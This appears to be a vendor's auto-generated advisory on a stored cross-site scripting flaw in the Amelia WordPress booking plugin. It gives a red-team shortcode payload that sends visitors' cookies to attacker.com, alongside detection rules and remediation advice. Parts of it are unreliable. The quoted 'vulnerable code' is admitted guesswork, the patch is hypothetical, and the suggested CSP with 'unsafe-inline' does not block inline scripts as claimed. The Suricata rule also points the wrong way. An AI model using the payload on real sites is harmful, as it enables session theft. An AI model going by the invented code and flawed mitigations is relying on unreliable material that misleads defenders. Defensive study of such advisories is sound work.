CVE-2023-6808
Executive Summary
CVE-2023-6808 is a Stored Cross-Site Scripting (XSS) vulnerability in the Amelia plugin for WordPress (versions up to and including 1.0.93). The flaw resides in the plugin's shortcode(s) where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level permissions can inject arbitrary JavaScript or HTML into pages. When any user (including administrators) visits the affected page, the injected script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is particularly dangerous in a WordPress ecosystem because it allows lower-privileged users (contributors) to compromise higher-privileged users (admins) who view the content. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch makes it a persistent risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from the WordPress repository are affected. No patched version has been released by the vendor, so users must rely on manual mitigation (e.g., disabling the plugin or restricting contributor permissions).
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authentication but is easy to exploit once access is obtained. The impact is limited to information disclosure and content manipulation, but combined with social engineering, it can lead to full site compromise.
Deep Dive & Mechanics
The Amelia plugin provides shortcodes like [amelia] for booking appointments. The vulnerability exists because the plugin does not properly sanitize or escape user-supplied attributes passed to these shortcodes. An attacker with contributor-level access can create or edit a post/page and include a malicious shortcode such as:
[amelia attribute="<script>alert('XSS')</script>"]
When the page is rendered, the attribute value is output without escaping, causing the script to execute in the browser of any visitor. The stored nature means the payload persists until the content is removed.
Root Cause: Insufficient input sanitization and output escaping on shortcode attributes. The plugin likely uses echo $attribute instead of echo esc_attr($attribute).
Vulnerable vs. Patched Code
Vulnerable Code (Amelia <= 1.0.93):
// In shortcode handler
function amelia_shortcode($atts) {
$atts = shortcode_atts(array(
'category' => '',
'service' => '',
), $atts);
// Direct output without escaping
echo '<div data-category="' . $atts['category'] . '">';
// ...
}
Patched Code (Hypothetical fix):
function amelia_shortcode($atts) {
$atts = shortcode_atts(array(
'category' => '',
'service' => '',
), $atts);
// Properly escape output
echo '<div data-category="' . esc_attr($atts['category']) . '">';
// ...
}
The fix involves using esc_attr() for HTML attributes and esc_html() for HTML content. Since no official patch exists, users must apply this manually or use a Web Application Firewall (WAF) rule.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Amelia plugin <= 1.0.93
- Contributor-level account or higher
Step-by-step:
- Log in as a contributor.
- Create a new post or edit an existing one.
- Insert the following shortcode into the content:
[amelia category="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"] - Publish the post.
- When an administrator or any user views the post, the script executes, exfiltrating cookies to the attacker's server.
Proof-of-Concept (PoC) Code:
<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<script>
// This is a placeholder for the actual exploit
// The real exploit is the shortcode injection above
alert('CVE-2023-6808 PoC - Stored XSS via Amelia shortcode');
</script>
</body>
</html>
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts/pages containing shortcodes with suspicious attributes (e.g.,
<script>,onload=,javascript:). - Use WAF rules to block XSS payloads in shortcode attributes.
Prevention:
- Disable the Amelia plugin until a patch is available.
- Restrict contributor permissions to prevent them from using shortcodes.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/amelia/(presence of vulnerable version) - Database: Posts/pages containing shortcodes with malicious attributes (e.g.,
[amelia category="<script>...") - Network: Outbound connections to attacker-controlled domains from WordPress admin pages
- Logs: WordPress audit logs showing creation/editing of posts by contributors with unusual shortcode attributes
Detection Engineering
YARA Rule
rule CVE_2023_6808_Amelia_XSS {
meta:
description = "Detects malicious shortcode attributes in Amelia plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2023-6808"
strings:
$shortcode = /\[amelia\s+[^\]]*?(<script|<img|onerror|onload|javascript:)/i
condition:
$shortcode
}
Sigma Rule
title: CVE-2023-6808 Amelia Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects posts/pages containing malicious Amelia shortcode attributes
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains:
- '/wp-admin/post.php'
- '/wp-admin/post-new.php'
http.body|contains:
- '[amelia'
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of shortcodes with safe attributes
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6808 Amelia Stored XSS Exploit"; flow:to_server,established; content:"[amelia"; http_client_body; nocase; content:"<script"; http_client_body; nocase; distance:0; pcre:"/\[amelia\s+[^\]]*?(<script|<img|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Amelia plugin until a patched version is released.
- Review and remove any posts/pages containing suspicious shortcodes.
- Restrict contributor permissions to prevent shortcode usage (use a role editor plugin).
Long-term Fix:
- Apply the hypothetical patch by modifying the plugin's shortcode handler to use
esc_attr()andesc_html(). - Monitor the vendor's website for an official update.
Workaround:
- Use a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.
- Implement Content Security Policy (CSP) headers:
default-src 'self'; script-src 'self' 'unsafe-inline'(note:unsafe-inlineweakens security but may be needed for some plugins).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.